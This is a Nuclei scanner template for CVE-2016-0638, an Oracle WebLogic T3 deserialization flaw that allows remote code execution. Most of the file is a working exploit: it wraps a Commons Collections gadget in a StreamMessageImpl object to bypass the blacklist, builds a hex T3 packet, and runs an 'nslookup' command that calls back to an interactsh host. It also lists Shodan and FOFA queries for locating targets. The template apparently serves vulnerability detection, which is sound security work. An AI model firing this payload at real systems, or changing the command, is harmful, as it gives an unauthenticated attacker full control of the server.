id: CVE-2016-0638 info: name: Oracle WebLogic Server - T3 Deserialization RCE (StreamMessageImpl blacklist bypass) author: DhiyaneshDk severity: critical description: | Oracle WebLogic Server (10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0) is vulnerable to a T3-protocol Java deserialization remote code execution that bypasses the CVE-2015-4852 resolveClass blacklist. The malicious Apache Commons Collections gadget is wrapped inside a `weblogic.jms.common.StreamMessageImpl` object (a non-blacklisted class); when WebLogic deserializes the outer StreamMessageImpl it internally deserializes the embedded gadget bytes without the lookahead filter, achieving RCE. This template performs the T3 handshake, delivers a StreamMessageImpl-wrapped CommonsCollections gadget that runs an OS-neutral `nslookup` against the Nuclei interactsh server, and confirms code execution via the resulting DNS interaction. The payload is pure-JVM/DNS so it works on both Windows and Linux. impact: | A remote, unauthenticated attacker runs arbitrary commands as the WebLogic process, fully compromising the server, even where the CVE-2015-4852 patch is applied. remediation: | Apply the Oracle Critical Patch Update (April 2016 CPU, CVE-2016-0638) and restrict access to the T3 (7001) port with a connection filter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2016-0638 - https://www.oracle.com/security-alerts/cpuapr2016.html - https://github.com/frohoff/ysoserial - https://github.com/dr0op/WeblogicScan classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-0638 epss-score: 0.73396 epss-percentile: 0.99473 cwe-id: CWE-502 metadata: verified: true max-request: 1 shodan-query: product:"oracle weblogic" fofa-query: app="weblogic" tags: cve,cve2016,oracle,weblogic,t3,deserialization,rce,oast,vkev variables: cmd: "nslookup {{interactsh-url}}" inner: '{{generate_java_gadget("commons-collections3.1", cmd, "hex")}}' smpre: "aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c00007870" innerlen: "0000{{substr(concat('0000', dec_to_hex(len(hex_decode(inner)))), len(concat('0000', dec_to_hex(len(hex_decode(inner)))))-4)}}" bodylen: '{{to_number(len(hex_decode(inner))) + 13}}' blockhdr: "7a0000{{substr(concat('0000', dec_to_hex(bodylen)), len(concat('0000', dec_to_hex(bodylen)))-4)}}" gadget: "{{smpre}}{{blockhdr}}282000000000000001{{innerlen}}{{inner}}78" t3h: "016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000" body: "{{t3h}}{{gadget}}" msglen: '{{to_number(len(hex_decode(body))) + 4}}' lowhex: '{{substr(concat("0000", dec_to_hex(msglen)), len(concat("0000", dec_to_hex(msglen)))-4)}}' packet: "0000{{lowhex}}{{body}}" tcp: - inputs: - data: "{{hex_decode('74332031322e322e330a41533a3235350a484c3a31390a4d533a31303030303030300a0a')}}" read: 1024 name: helo - data: "{{hex_decode(packet)}}" host: - "{{Hostname}}" port: 7001 read-size: 1024 matchers-condition: and matchers: - type: dsl dsl: - "regex('HELO:[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+', helo)" - type: word part: interactsh_protocol words: - "dns" extractors: - type: regex part: helo group: 1 regex: - 'HELO:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)' # digest: 4a0a00473045022100def846008226329097274529d2e0a1878d364f754cb22d4b6147e4db08e1950a02205a26eff10b16a6f887800f44bcf6654d54d7bad3f7d00db24e8ccad00d89e758:922c64590222798bb761d5b6d8e72950